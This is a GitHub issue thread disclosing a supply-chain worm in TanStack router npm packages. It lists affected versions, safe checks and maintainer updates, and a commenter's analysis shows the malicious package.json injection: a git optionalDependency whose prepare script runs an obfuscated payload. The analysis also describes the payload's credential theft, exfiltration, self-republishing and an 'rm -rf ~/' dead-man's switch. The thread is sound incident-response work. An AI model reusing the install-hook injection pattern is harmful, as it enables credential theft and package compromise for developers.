- Sponsor
-
Notifications
You must be signed in to change notification settings - Fork 1.7k
Activity
I believe this report is correct. I've personally verified it on the /history package. I reported this package to NPM directly a few minutes before this issue was raised.
The specific malware fingerprint is whether a published version's package.json contains:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}This will cause npm, on npm install, to resolve the git dependency by fetching the tanstack/router repo at commit 79ac49ee. That commit is an orphan commit pushed to a fork in order to be somewhat hidden. Because npm treats git dependencies as "build from source," it installs that commit's declared dependencies (which include bun) and then runs its prepare lifecycle script:
"scripts": { "prepare": "bun run tanstack_runner.js && exit 1" }(The entry is under optionalDependencies and ends in && exit 1 so the install of @tanstack/setup "fails" after the script runs, so npm silently discards it.)
That script executes the ~2.3 MB obfuscated router_init.js file that is smuggled into each affected tarball (at the package root, not listed in the package's "files" array, and not referenced by any other file). Based on decoding the obfuscated string table, it appears to:
- harvest credentials from common locations: AWS IMDS / Secrets Manager, GCP metadata, Kubernetes service-account tokens, Vault tokens,
~/.npmrc, GitHub tokens, SSH keys - exfiltrate over the Session/Oxen messenger file-upload network (
filev2.getsession.org,seed{1,2,3}.getsession.org). This is a full E2E-encrypted dead-drop, so there is no attacker-controlled C2 to block - enumerate packages the victim maintains (
registry.npmjs.org/-/v1/search?text=maintainer:…) and republish them with the same injection
I have confirmed @tanstack/history@1.161.12 contains this fingerprint and the payload file. For the remaining packages I checked only the registry manifest for the optionalDependencies entry, not the full payload. I believe the following are affected (two versions each, published ~19:20 and ~19:26 UTC today; the second is currently latest):
| package | first bad version | second bad version (latest) |
|---|---|---|
@tanstack/history |
1.161.9 | 1.161.12 |
@tanstack/router-utils |
1.161.11 | 1.161.14 |
@tanstack/router-core |
1.169.5 | 1.169.8 |
@tanstack/router-devtools-core |
1.167.6 | 1.167.9 |
@tanstack/react-router-devtools |
1.166.16 | 1.166.19 |
@tanstack/router-generator |
1.166.45 | 1.166.48 |
@tanstack/virtual-file-routes |
1.161.10 | 1.161.13 |
@tanstack/router-plugin |
1.167.38 | 1.167.41 |
@tanstack/react-router |
1.169.5 | 1.169.8 |
@tanstack/router-devtools |
1.166.16 | 1.166.19 |
@tanstack/react-start |
1.167.68 | 1.167.71 |
@tanstack/router-cli |
1.166.46 | 1.166.49 |
@tanstack/router-vite-plugin |
1.166.53 | 1.166.56 |
@tanstack/solid-router |
1.169.5 | 1.169.8 |
As of my last check, @tanstack/start, @tanstack/query*, @tanstack/table*, @tanstack/form*, @tanstack/virtual*, and @tanstack/store did not carry the fingerprint.
The _npmUser on the malicious versions shows they were published through the GitHub Actions OIDC trusted-publisher config. That suggests the publish workflow itself is compromised, not just a token; rotating npm tokens alone likely won't stop republication until the workflow/OIDC binding is disabled.
To verify these claims, you can run
npm pack @tanstack/<pkg>@<version> # does NOT run install scripts
tar -xzf *.tgz
cat package/package.json | grep -A3 optionalDependencies
ls -la package/router_init.jsPlease be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. (It looks like it might also have a bunch of persistence mechanisms. I haven't studied these closely.)
we're tracking 84+ individual @tanstack/* PURLs as well as the worm propagating to 200+ other packages, full list here: https://socket.dev/supply-chain-attacks/mini-shai-hulud
Is it possible that the malware somehow ran, yet didn't create any persistance mechanisms (be it the systemd user service, or session start hooks, as described the last comment blog)?
My laziness saved me
Just popping in to provide a quick update for the community. We have a good understanding of how this attack happened and are working diligently to resolve this full-stop. ~10 maintainers are in a VC at the moment to take every precaution possible.
Seems all versions of @tanstack/start-plugin-core were deprecated by accident (instead of just 1.169.{23,26}): https://www.npmjs.com/package/@tanstack/start-plugin-core/v/1.169.20?activeTab=versions
Thanks @valtron, we're looking to get the unaffected versions back up shortly
79 remaining items
@wesleytodd socket, stepsecurity and wiz independently did.
I see no other issue, where it was reported. But for a statement and post mortem this makes no big difference.
closing this as the affected packages were removed and new packages were released after hardening our security.
We are actively investigating this security incident and sharing our findings here: www.stepsecurity.io/blog/mini-shai-hulud-is-back-a-self-spreading-supply-chain-attack-hits-the-npm-ecosystem
Thanks for being patient with us, we really appreciate it.
We've published our postmortem on tanstack.com/blog/npm-supply-chain-compromise-postmortem. It contains all the information we've uncovered so far, along with a timeline of the attack.